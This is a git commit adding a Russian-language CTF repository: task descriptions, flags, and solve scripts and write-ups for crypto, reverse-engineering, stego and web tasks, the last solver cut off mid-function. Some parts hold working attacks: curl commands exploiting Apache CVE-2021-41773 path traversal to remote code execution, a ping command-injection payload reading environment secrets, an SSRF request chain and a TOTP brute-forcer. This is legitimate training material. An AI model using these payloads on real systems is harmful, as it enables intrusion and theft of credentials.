commit 39a4c5e8ca124b4271390efe8f99bd5f5569965f Author: Caplag Date: Mon Dec 22 05:19:38 2025 +0300 Init. import diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..94f480d --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +* text=auto eol=lf \ No newline at end of file diff --git a/10_негритIAт-crypto/README.md b/10_негритIAт-crypto/README.md new file mode 100644 index 0000000..deaf529 --- /dev/null +++ b/10_негритIAт-crypto/README.md @@ -0,0 +1,48 @@ +## Информация для участников +Вы решили разобрать сложное задание по криптографии на этом соревновании? Ну что ж. +Найдите исходные данные по их хэшам, затем получите флаг. Хотя можно попытаться решить эту задачу и другим способом. +Удачи. + +## Выдать участникам +Архив для участников: public/curves.zip + +## Решение + +Вычислены 10 хэшей MD5: + +8483587262707 - 5608605adb1c304505ef09746779f83f +8787065451739 - ae51e62245a928c024156d98d8d79d2c +7027296101303 - a24dec0dc714aa94f11f386d91b59617 +4144737805144 - 23fb15096a44d4d37de61fb6add86ea6 +4478039461604 - 4c570982d47a82d228ec495e8867b23a +2256122270837 - a4294fa620dae1185d4470423a70b571 +6898295132754 - 6818e1797a5b5d4be0d1d09c4b97f429 +3715332022128 - ddc05896b932370647626e3d1af63ec1 +9095657776904 - 2c1c4c489a14ed00e708af61dd1ed394 +3881288361224 - 026aa157ff323798a9b0437f79b5b6fe + +Для проверки необходимо расшифрованные числа вставить в соответствующее поле программы ("Расшифрованные значения"): + +8483587262707 +8787065451739 +7027296101303 +4144737805144 +4478039461604 +2256122270837 +6898295132754 +3715332022128 +9095657776904 +3881288361224 + +1. Каждое из чисел складывается друг с другом, в результате чего получается некоторое промежуточное число. +2. Это число шифруется ECC, затем вычисляется хэш SHAKE256 из шифрованного значения, который ксориться с константой, после чего в поле "Результат" выводится получившийся флаг. + +Расшифровывается достаточно мощной видеокартой или несколькими, но если они отсутствует, то будет не так просто. +Требуется либо генерировать словари на 13-символьные числа, либо искать сервер с мощной видеокартой. Функции брутфорса хэшей В AI системах пока что не видел. +Оригинальные цифры нужно внести в поле "расшифрованные значения". Либо кто-то выполнит взлом хэша SHAKE256 и шифрования ECC числа, которое получается в результате сложения 10 исходных чисел (возможно, будет быстрее, но нужно отдельно писать код). + +Если верить https://specopssoft.com/blog/best-password-practices-to-defend-against-modern-cracking-attacks/, то 13-ти символьные пароли взламываются мгновенно, но на достаточно дорогом оборудовании. На среднестатистическом перебор должен происходить в десятки или сотни раз медленней (несколько минут). +Аренда сервера с GTX 1080 8 ГБ DDR5X стоит примерно 1300 рублей за 1 день. + +## Флаг +`caplag{5D0A1820-6694-4286-B844-5FE6FD93}` diff --git a/ARMystery-Reverse/README.md b/ARMystery-Reverse/README.md new file mode 100644 index 0000000..79f8a3a --- /dev/null +++ b/ARMystery-Reverse/README.md @@ -0,0 +1,19 @@ +## Информация для участников +> В 2087 году корпорация NeoSys разработала революционную систему безопасности для своих устройств. +Хакеры сообщают, что ключ к системе скрыт в библиотеке libsecurity.so, +работающей на архитектуре ARM. Ваш работодатель готов хорошо заплатить за этот ключ... + +## Выдать участникам +public/libsecurity.so + +## Решение +Через IDA pro или Ghidra вынимаем алгоритм, переписываем его python скрипт + +solve/solve.py + + +## Флаг +`caplag{4RM_L1NuX_H4ShT4G_1m_4_r34L_r3V3rS3R}` + + + diff --git a/ARMystery-Reverse/solve/solve.py b/ARMystery-Reverse/solve/solve.py new file mode 100644 index 0000000..fe1e299 --- /dev/null +++ b/ARMystery-Reverse/solve/solve.py @@ -0,0 +1,26 @@ +enc = [ + 0xFD,0x9C,0x43,0x42,0xA1,0xA0,0xEB,0x8F,0x21, + 0x54,0x67,0x8A,0xEE,0x8C,0x3B,0x46,0x5D,0x60, + 0xC0,0x97,0x72,0x1D,0xAF,0x63,0x1A,0xF4,0xAC, + 0x6F,0xB5,0x79,0x2C,0xDA,0xD1,0x81,0x5C,0x1B, + 0x19,0x85,0x2B,0xC7,0x5A,0x7F,0x9D,0x10, +] + +def decode(data): + R1, LR = 0x17, 7 + out = [] + for b in data: + k = R1 & 0x7F + next_lr = (LR + 3) & 0xFF + R1 = (R1 + 5) & 0xFF + + c = ((b ^ 0x55) - k) & 0xFF + c = ((c << 6) | (c >> 2)) & 0xFF + c ^= LR + + LR = next_lr + out.append(c) + return bytes(out) + +flag = decode(enc).decode() +print(flag) \ No newline at end of file diff --git a/BestCity-Stegano/README.md b/BestCity-Stegano/README.md new file mode 100644 index 0000000..b5ac75f --- /dev/null +++ b/BestCity-Stegano/README.md @@ -0,0 +1,17 @@ +## Информация для участников +> Самый величественный город на земле — Москва — хранит свои тайны не только в архивах Кремля и подземельях Замоскворечья… Иногда правда прячется прямо на виду — в самом сердце столицы. Внимательно пригляделся?.. + +## Выдать участникам +файл public/task.png + +## Решение +1) ```exiftool task.png``` - получаем метаданные, находим строку ```eJwFQDEKACAQeo9bkD8ScjkiyO8PohyIb2j8bPOuAjqEBfE=``` +2) Через CyberChef делаем рецепт ```From base64 -> Detect File Type``` понимаем, что это Zlib. Меняем рецепт на ```From base64 -> Zlib Inflate``` и получаем результат ```ctf)c4pl4g)st3g4n0```. Запомним эту строку +3) Размер для обычной картинки слишком большой, значит что-то спрятано в нем. в CTF часто используют LSB, поэтому через StegSolve или python попробуем вытащить последнии биты с каналов. Вытащим 0 биты с каналов R, G, B и обнаружим большую строку, которая начинается с RC4=... +4) Первые символы обозначают, что скорее всего был использован шифр RC4. данные после = передаем в Cyberchef и используем рецепт ```From Base64 -> RC4 пароль:ctf)c4pl4g)st3g4n0 -> Detect File Type``` обнаруживаем, что это MP3. +5) Слушаем MP3, используем Reverse дорожки. В звуковой дорожке слышим буквы и цифры, запишим их и получаем такую строку ```C D G N 0 R 3 1 C T T L 8 Q 1 J E 8 P M I S R 1 E 1 N N 0 T B C C 5 P 7 6 O B P D 5 N 6 E T 3 8 C 5 Q 6 2 S P J C D Q N 4 P B 3 6 1 M N 0 T B K 6 D P 6 I S R F D P I N 8 Q 3 1 E H K N 6 T 3 L E 9 N 3 6 P 1 G C P J 7 Q``` +6) Загружем эту строку в CyberChef, пробуем все Base* и находим, что Base32 подходит, получаем флаг + + +## Флаг +`caplag{Thereisapopularsayingthatasecurecomputerisonethatisturnedoff_38}` diff --git a/Caplag-Crackme-Reverse/README.MD b/Caplag-Crackme-Reverse/README.MD new file mode 100644 index 0000000..c264514 --- /dev/null +++ b/Caplag-Crackme-Reverse/README.MD @@ -0,0 +1,13 @@ +## Информация для участников +> Ну что, любимые реверсеры, вот вам обычный и "очень простой" таск :D +Всего-то надо вбить **логин** и **пароль** в Android-приложение и получить флаг +Ничего сложного: логин где-то спрятан, пароль как-то проверяется... да и вообще, всё уже лежит у вас под носом + +## Выдать участникам +для участников: public/caplag-crackme.apk + +## Решение +райтап - solve/solve.md + +## Флаг +`caplag{ae98661c54fb5d0d2e769d21a23d4802c7a24eb98741680949ddb6ed9d8f3e53}` diff --git a/Caplag-Crackme-Reverse/solve/solve.md b/Caplag-Crackme-Reverse/solve/solve.md new file mode 100644 index 0000000..82fe0ba --- /dev/null +++ b/Caplag-Crackme-Reverse/solve/solve.md @@ -0,0 +1,52 @@ +Разбор, исходя только из `caplag-crackme.apk` + +## 1. Достаём логин из ресурсов +1. Распаковать APK или открыть в jadx: в `res/values/strings.xml` лежат строки `p0..p9`. +2. Склеиваем их: `EBUUBQ5JHhYGHQwOXREBERIMHV0N`. +3. Это Base64. Декодируем → байты. +4. В Java-коде (видно через jadx) эти байты XOR-ятся с ключом `"stdio.h"`. XOR даёт логин: + ``` + caplagveryeasyreverse + ``` + +Быстрая проверка в консоли (при наличии python): +```bash +python - <<'PY' +import base64 +chunks = ["EBU","UBQ","5JH","hYG","HQw","OXR","EBE","RIM","HV","0N"] +data = base64.b64decode("".join(chunks)) +key = b"stdio.h" +print(bytes(b ^ key[i % len(key)] for i, b in enumerate(data)).decode()) +PY +``` + +## 2. Реверс native-проверки (libcrack.so) +В `lib/*/libcrack.so` JNI-функция `checkAndGetFlag` выполняет: +1. `expected_pwd_raw = SHA256(login + "cryptoanalyzator")` +2. `key = SHA256(login + "s3cr3t_s@lt_42")` +3. `enc = AES-256-CBC(no padding, IV = 00 11 22 ... EE FF)`, шифрует `expected_pwd_raw`. +4. Сравнивает `enc` с константой `CIPHER_PASS`; сходится только при правильном логине. +5. Проверяет, что введённый пароль — hex(expected_pwd_raw) длиной 64 (регистр не важен). +6. Флаг: `caplag{ SHA256("Console.Readline();" + login + password_hex) }`. + +Нужные константы все видны в дизасме/строках `.so`. + +## 3. Считаем пароль и флаг +Используем найденный логин: +```bash +python - <<'PY' +import hashlib +login = "caplagveryeasyreverse" +pwd_hex = hashlib.sha256((login + "cryptoanalyzator").encode()).hexdigest() +print("login :", login) +print("pass :", pwd_hex) +flag = hashlib.sha256((b"Console.Readline();" + login.encode() + pwd_hex.encode())).hexdigest() +print("flag :", f"caplag{{{flag}}}") +PY +``` + +Итоговые значения: +- Логин: `caplagveryeasyreverse` +- Пароль: `7dc1b259bd1ad518e41cca334fca14bd03139a2c0b3566036efe6d2bbb43df4c` +- Флаг: `caplag{ae98661c54fb5d0d2e769d21a23d4802c7a24eb98741680949ddb6ed9d8f3e53}` + diff --git a/CaplagOs-pentest/README.md b/CaplagOs-pentest/README.md new file mode 100644 index 0000000..7312c2f --- /dev/null +++ b/CaplagOs-pentest/README.md @@ -0,0 +1,46 @@ +## Информация для участников +- Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`. +- Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI). +- В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`. +- Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`. + +## Решение (пошаговый райтап) +### 1. +- `curl -I http://:/` → заголовок `Server: Apache/2.4.49 (Unix)`. +- `curl http://:/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён. + +### 2. +Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`. +```bash +curl --path-as-is http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd +``` +Успешное чтение `/etc/passwd` подтверждает уязвимость. + +### 3. +При включённом CGI можно вызвать системную `sh` напрямую: +```bash +curl --path-as-is -X POST \ + 'http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ + --data 'echo Content-Type: text/plain; echo; id' +``` +Команда выполняется от имени `www-data`. + +### 4. +Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`: +```bash +curl --path-as-is -X POST 'http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ + --data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null' +``` +Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`. + +### 5. +Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI): +```bash +curl --path-as-is -X POST \ + 'http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ + --data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt' +``` +Ответом придёт содержимое флага. + +## Флаг +`caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}` diff --git a/DemonSlayer-Admin/Readme.md b/DemonSlayer-Admin/Readme.md new file mode 100644 index 0000000..c858a28 --- /dev/null +++ b/DemonSlayer-Admin/Readme.md @@ -0,0 +1,19 @@ +## Информация для участников +> … вы поадаете в неизвестное вам место, пройдя через мерцающий синий портал. +Перед вами оказывается незнакомец, он вооружен огромным двухствольным дробовиком и выглядит внушительно. +Он протягивает вам табличку с текстом на неизвестном вам языке и вы сразу чувствуете что она содержит то, что вы искали. +Незнакомец: "Я чувствую демонов по всюду! Но эти трусливые создания прячутся в других измерениях, +помоги мне найти их и ты получишь что ищешь!". +"Для этого понадобится ~корень~ зла, он поможет отпереть их измерения, и я смогу покарать их!" +> Данные для входа: +> login : ctfer +> password : 0 + +## Выдать участникам +Архив для участников: public/public.rar + +## Решение +райтап solve/solve.md + +## Флаг +`caplag{d@em0N_sl4y3R}` diff --git a/DemonSlayer-Admin/solve/solve.md b/DemonSlayer-Admin/solve/solve.md new file mode 100644 index 0000000..61dc435 --- /dev/null +++ b/DemonSlayer-Admin/solve/solve.md @@ -0,0 +1,12 @@ +0. lsblk - получаем список дисков, видим что есть размонтированная часть. +1. grep -rl --include="path.txt" "root" /home => получаем директорию в которой хранится рут пароль +2. cat /home/... директория из 1го пункта/path.txt +3. su => ввод root +4. for i in {1..5}; do + mount /dev/sd\*$i /mnt/portal_$i +5. заходим в каждый из дисков, и запускаем фоновое выполнение демона cd /mnt/portal\_\* + ./demon_name.sh & (& для выполнения в фоне) +6. получаем респонс от основного демона о том что наша работа выполнена +7. в /home появляется файл с расшифрованным флагом +8. cat /home/letter.enc +9. вводим флаг на сайте соревнования diff --git a/Esoteric-Misc/README.md b/Esoteric-Misc/README.md new file mode 100644 index 0000000..279fe14 --- /dev/null +++ b/Esoteric-Misc/README.md @@ -0,0 +1,18 @@ +## Информация для участников +> Вы спуститесь по кругам ада демонических языков и должны успеть вынести флаг раньше, чем синтаксис сожжёт вам мозг + +## Выдать участникам +файл task [public/task](public/task) + +## Решение + +1) Создаем простой index.html с нашим task.js где лежит JSFuck. Начинаем отладку, чтобы узнать декодировать и получить JS код. Получаем: ```prompt("Введите пароль:") === "1923841672471623472319412844812675168723478561" ? console.log("тут верный bf код") : console.log("тут фейковый bf код")``` + +2) Вводим пароль ```1923841672471623472319412844812675168723478561``` и получаем верный BrainFuck код на ~23кб. Идем на сайт https://www.dcode.fr/brainfuck-language и декодируем его + +3) Так как таск на эзотерические языки программирования, то понимаем, что этот код написан на Malbolge. Идем на сайт https://zb3.me/malbolge-tools/#interpreter и запускаем этот код. Получаем ```import base64; var1 = "U1IWD1IEGAQMC05SAl0SWFRGXgZcV1AJAVZBVV8QAFdEW1UQABMRBAMUA1hfCAtXCAZYUkFQBgtDCV9SRVdHWwNeGw=="; var2 = "03fc3cc4df7529e0d2654da8087f1d33"; func1 = lambda var0, var2: ''.join(chr(var0[i] ^ ord(var2[i % len(var2)])) for i in range(len(var0))); a3 = base64.b64decode(var1); a1 = func1(a3, var2); a2 = input(">>> "); print("The flag is correct!") if a2 == a1 else print("-_-")``` + +4) Нетрудно сообразить, что тут используется обычное XOR шифрование, где пароль это ```03fc3cc4df7529e0d2654da8087f1d33```, а данные это base64 строка ```U1IWD1IEGAQMC05SAl0SWFRGXgZcV1AJAVZBVV8QAFdEW1UQABMRBAMUA1hfCAtXCAZYUkFQBgtDCV9SRVdHWwNeGw==```. Идем на https://gchq.github.io/CyberChef. Сначала декодируем base64, а далее XOR с нашим паролем. В ответе получаем флаг + +## Флаг +`caplag{0hmyg0dwh0th3h3111nv3nt3dth3s3pr0gr4mm1ngl4ngu4g3s1h4t3th3m}` diff --git a/GAME/camera/solve_camera.py b/GAME/camera/solve_camera.py new file mode 100644 index 0000000..74e55d4 --- /dev/null +++ b/GAME/camera/solve_camera.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +import argparse +import hashlib +import http.cookiejar +import os +import re +import sys +from typing import Optional, Tuple +from urllib import parse, request + + +def sha1_hex(value: str) -> str: + return hashlib.sha1(value.encode("utf-8")).hexdigest() + + +def normalize_base(raw: str) -> str: + if "://" not in raw: + raw = "http://" + raw + return raw.rstrip("/") + + +def read_part_a(cli_value: Optional[str]) -> Optional[str]: + if cli_value: + return cli_value + env_value = os.getenv("PWD_PART_A") + if env_value: + return env_value + candidates = [ + os.path.join(os.getcwd(), "web_camera_5.yml"), + os.path.join(os.path.dirname(__file__), "web_camera_5.yml"), + ] + for path in candidates: + if not os.path.exists(path): + continue + try: + data = open(path, "r", encoding="utf-8", errors="ignore").read() + except OSError: + continue + match = re.search(r"PWD_PART_A=([^\s]+)", data) + if match: + return match.group(1) + return None + + +def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]: + resp = opener.open(base + "/login") + uid = resp.headers.get("X-Device-Id") + if uid: + return uid.strip() + body = resp.read().decode("utf-8", errors="ignore") + match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body) + return match.group(1) if match else None + + +def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool: + return any(cookie.name == name for cookie in cj) + + +def login( + opener: request.OpenerDirector, + cj: http.cookiejar.CookieJar, + base: str, + uid: str, + part_a: str, +) -> str: + password = sha1_hex(f"{part_a}:{uid}")[:10] + data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8") + req = request.Request(base + "/login", data=data, method="POST") + opener.open(req).read() + if not has_cookie(cj, "sid"): + raise RuntimeError("login failed: no session cookie") + return password + + +def find_flag(text: str) -> Optional[str]: + match = re.search(r"caplag\{[^}]+\}[^\s<]*", text) + return match.group(0) if match else None + + +def exploit_ping( + opener: request.OpenerDirector, + base: str, +) -> Tuple[Optional[str], Optional[str], str]: + payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C" + data = parse.urlencode({"host": payload}).encode("utf-8") + req = request.Request(base + "/admin/tools/ping", data=data, method="POST") + text = opener.open(req).read().decode("utf-8", errors="ignore") + rce_match = re.search(r"RCE:([^\s<]+)", text) + partc_match = re.search(r"PARTC:([^\s<]+)", text) + rce_flag = rce_match.group(1) if rce_match else find_flag(text) + part_c = partc_match.group(1) if partc_match else None + return rce_flag, part_c, text + + +def redeem_flag( + opener: request.OpenerDirector, + base: str, + part_a: str, + part_c: str, + uid: str, +) -> Tuple[str, Optional[str]]: + key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16] + data = parse.urlencode({"key": key}).encode("utf-8") + req = request.Request(base + "/admin/redeem", data=data, method="POST") + text = opener.open(req).read().decode("utf-8", errors="ignore") + return key, find_flag(text) + + +def main() -> int: + parser = argparse.ArgumentParser(description="Solve LookyCam challenge.") + parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL") + parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value") + args = parser.parse_args() + + base = normalize_base(args.url) + part_a = read_part_a(args.part_a) + if not part_a: + print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr) + return 2 + + cj = http.cookiejar.CookieJar() + opener = request.build_opener(request.HTTPCookieProcessor(cj)) + + uid = get_uid(opener, base) + if not uid: + print("Failed to determine CAMERA_UID from /login", file=sys.stderr) + return 2 + + try: + password = login(opener, cj, base, uid, part_a) + except RuntimeError as exc: + print(str(exc), file=sys.stderr) + return 2 + + rce_flag, part_c, _ = exploit_ping(opener, base) + if not part_c: + print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr) + return 2 + + key, final_flag = redeem_flag(opener, base, part_a, part_c, uid) + + print(f"uid: {uid}") + print(f"login_password: {password}") + print(f"rce_flag: {rce_flag or 'not found'}") + print(f"part_c: {part_c}") + print(f"redeem_key: {key}") + print(f"final_flag: {final_flag or 'not found'}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/GAME/camera/writeup.md b/GAME/camera/writeup.md new file mode 100644 index 0000000..bbbcbbb --- /dev/null +++ b/GAME/camera/writeup.md @@ -0,0 +1,53 @@ +# Writeup: LookyCam (camera) + +Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ. + +## Шаги решения +1. PWD_PART_A -получили из стеги в хранилище +1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице. +2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой: + `sha1(part + ":" + uid)[0:10]`. +3. Подставить известную часть `partA` и посчитать пароль: + `password = sha1(partA:uid)[:10]`. +4. Войти в `/admin` под `admin` с этим паролем и получить сессию. +5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`. + Через `;` можно выполнить произвольные команды и прочитать переменные окружения: + `127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C` +6. Из ответа взять `PWD_PART_C` и флаг RCE. +7. Посчитать ключ для `/admin/redeem`: + `key = sha1(partA:partC:uid)[:16]`. +8. Отправить ключ в `/admin/redeem` и получить финальный флаг. + +## Примеры запросов +```bash +# 1) UID +curl -i http:///login + +# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе +curl -i -d "username=admin&password=bad" http:///login + +# 3) Логин с правильным паролем +curl -i -c cookies.txt -d "username=admin&password=" http:///login + +# 4) Инъекция в ping +curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \ + http:///admin/tools/ping + +# 5) Редим финального флага +curl -i -b cookies.txt -d "key=" http:///admin/redeem +``` + +```python +import hashlib + +def sha1(x: str) -> str: + return hashlib.sha1(x.encode()).hexdigest() + +uid = "LCAM-9f31" +part_a = "..." +part_c = "..." + +password = sha1(f"{part_a}:{uid}")[:10] +key = sha1(f"{part_a}:{part_c}:{uid}")[:16] +print(password, key) +``` diff --git a/GAME/kettle/solve.sh b/GAME/kettle/solve.sh new file mode 100644 index 0000000..d9b7931 --- /dev/null +++ b/GAME/kettle/solve.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash +# Параметры из деплоя +PROOF="printer-proof-3d3130" +NONCE="kettle-nonce-74c1" + +URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint" +# Метка времени (секунды) +TS=$(date +%s) + +# MAC = HMAC-SHA256(key=PROOF:NONCE, msg="URL\nTS") +KEY="${PROOF}:${NONCE}" +MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}') +echo $MAC +echo $TS +# Запрос +curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \ + -H "Content-Type: application/json" \ + -d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}" diff --git a/GAME/kettle/writeup.md b/GAME/kettle/writeup.md new file mode 100644 index 0000000..096d291 --- /dev/null +++ b/GAME/kettle/writeup.md @@ -0,0 +1,55 @@ +# Разбор решения задачи Kettle + +Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub). + +## Ключевая логика из исходников + +- В `files/server.js` видно, что `/diagnostics` отдаёт `X-Device-ID` — это `KETTLE_NONCE`. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа. +- `/diagnostics/fetch` принимает JSON с `proof`, `ts`, `mac`, `url` и проверяет: + - `proof` должен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером), + - `ts` — свежий (±300 сек), + - `mac` — HMAC-SHA256 по формуле: `key = PROOF:NONCE`, `msg = "URL\nTS"`. +- `url` должен начинаться с разрешённого хоста. В проде в whitelist попадают `printer...` и `nas...`, поэтому можно использовать «принтер» как стартовый хост и через него уйти на `nas/internal/hint`. +- Kettle делает запрос к NAS с нужными заголовками (`X-Shared-Key` и пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle. + +## Практический путь + +1) Узнать nonce из заголовка: + +```bash +curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id +``` + +2) Собрать URL на «принтер» с редиректом на NAS: + +``` +https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint +``` + +3) где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики) +4) Посчитать подпись и отправить запрос: + + +```bash +PROOF="printer-proof-3d3130" +NONCE="kettle-nonce-74c1" + +URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint" +TS=$(date +%s) + +KEY="${PROOF}:${NONCE}" +MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}') + +curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \ + -H "Content-Type: application/json" \ + -d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}" +``` + +В ответ так же получаем: +заголовки: +X-Kettle-Proof: kettle-proof-90fa + +тело: +caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas} +JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337 +game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas diff --git a/GAME/narod/solver.py b/GAME/narod/solver.py new file mode 100644 index 0000000..80b9256 --- /dev/null +++ b/GAME/narod/solver.py @@ -0,0 +1,317 @@ +#!/usr/bin/env python3 +import argparse +import base64 +import hashlib +import hmac +import http.cookiejar +import json +import re +import ssl +import struct +import sys +import time +import urllib.error +import urllib.parse +import urllib.request + +BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + + +def read_target_file(path): + url = None + parta = None + user = None + try: + with open(path, "r", encoding="utf-8") as fh: + for raw in fh: + line = raw.strip() + if not line or line.startswith("#"): + continue + if "=" in line: + key, value = line.split("=", 1) + key = key.strip().lower() + value = value.strip() + if key in ("url", "target", "host"): + url = value + elif key in ("parta", "pwd_part_a", "pwda", "a"): + parta = value + elif key in ("user", "username", "narod_user"): + user = value + else: + if url is None: + url = line + elif parta is None: + parta = line + elif user is None: + user = line + except FileNotFoundError: + return None, None, None + return url, parta, user + + +def normalize_base(url): + url = (url or "").strip() + if not url: + return "" + if not re.match(r"^https?://", url, re.IGNORECASE): + url = "http://" + url + return url.rstrip("/") + + +def make_opener(jar, insecure=False): + handlers = [urllib.request.HTTPCookieProcessor(jar)] + if insecure: + ctx = ssl._create_unverified_context() + handlers.append(urllib.request.HTTPSHandler(context=ctx)) + return urllib.request.build_opener(*handlers) + + +def http_request(opener, method, url, data=None, headers=None, timeout=10): + headers = dict(headers or {}) + body = None + if data is not None: + if isinstance(data, dict): + body = urllib.parse.urlencode(data).encode("utf-8") + headers.setdefault("Content-Type", "application/x-www-form-urlencoded") + elif isinstance(data, (bytes, bytearray)): + body = data + else: + body = str(data).encode("utf-8") + req = urllib.request.Request(url, data=body, headers=headers, method=method) + try: + with opener.open(req, timeout=timeout) as resp: + return resp.getcode(), resp.headers, resp.read() + except urllib.error.HTTPError as exc: + return exc.code, exc.headers, exc.read() + + +def extract_username(html_text): + m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE) + return m.group(1) if m else None + + +def extract_pepper_xor_hex(map_text): + try: + data = json.loads(map_text) + except json.JSONDecodeError: + return None + for src in data.get("sourcesContent", []): + m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src) + if m: + return m.group(1).lower() + return None + + +def derive_part_b(user, pepper_xor_hex): + mask = hashlib.sha1(user.encode("utf-8")).digest()[:6] + pepper_bytes = bytes.fromhex(pepper_xor_hex) + out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes))) + return out.decode("utf-8", errors="replace") + + +def derive_pass(parta, partb): + material = f"{parta}:{partb}".encode("utf-8") + return hashlib.sha1(material).hexdigest()[:12] + + +def trusted_headers(pass_hash): + ts = str(int(time.time())) + sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest() + return {"X-TS": ts, "X-Trusted-Device": sig} + + +def base32_decode(secret_b32): + secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper()) + pad = "=" * ((8 - (len(secret) % 8)) % 8) + return base64.b32decode(secret + pad, casefold=True) + + +def hotp(secret_bytes, counter): + msg = struct.pack(">Q", counter) + digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest() + offset = digest[-1] & 0x0F + code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF + return f"{code % 1_000_000:06d}" + + +def totp(secret_b32, timestamp, step=30): + key = base32_decode(secret_b32) + counter = int(timestamp // step) + return hotp(key, counter) + + +def fetch_server_offset(opener, base_url): + status_url = base_url + "/__status__" + code, _, body = http_request(opener, "GET", status_url) + if code != 200: + return 0.0 + try: + data = json.loads(body.decode("utf-8")) + server_ms = float(data.get("now", 0)) + if server_ms: + return (server_ms / 1000.0) - time.time() + except (ValueError, json.JSONDecodeError): + pass + return 0.0 + + +def login(opener, base_url, user, password, trusted=False): + headers = {} + if trusted: + headers.update(trusted_headers(password)) + data = {"username": user, "password": password} + return http_request(opener, "POST", base_url + "/login", data=data, headers=headers) + + +def get_masked_secret(opener, base_url): + headers = {"Referer": base_url + "/profile"} + code, _, body = http_request( + opener, + "GET", + base_url + "/profile/export?fmt=ini", + headers=headers, + ) + if code != 200: + return None + text = body.decode("utf-8", errors="replace") + m = re.search(r"otp_secret=([A-Z2-7?]+)", text) + return m.group(1) if m else None + + +def iter_candidates(masked_secret): + if not masked_secret or not masked_secret.endswith("??"): + return + prefix = masked_secret[:-2].upper() + for a in BASE32_ALPHABET: + for b in BASE32_ALPHABET: + yield prefix + a + b + + +def mfa_attempt(opener, base_url, otp_code): + code, _, body = http_request( + opener, + "POST", + base_url + "/mfa", + data={"otp": otp_code}, + ) + if code == 200 and b"/wallet" in body: + return True + return False + + +def fetch_flag(opener, base_url): + code, _, body = http_request(opener, "GET", base_url + "/wallet/drain") + if code != 200: + return None, None + text = body.decode("utf-8", errors="replace") + flag = None + game_code = None + m_flag = re.search(r"flag\{[^}]+\}", text) + if m_flag: + flag = m_flag.group(0) + m_code = re.search(r"game_code:[a-z0-9_:-]+", text) + if m_code: + 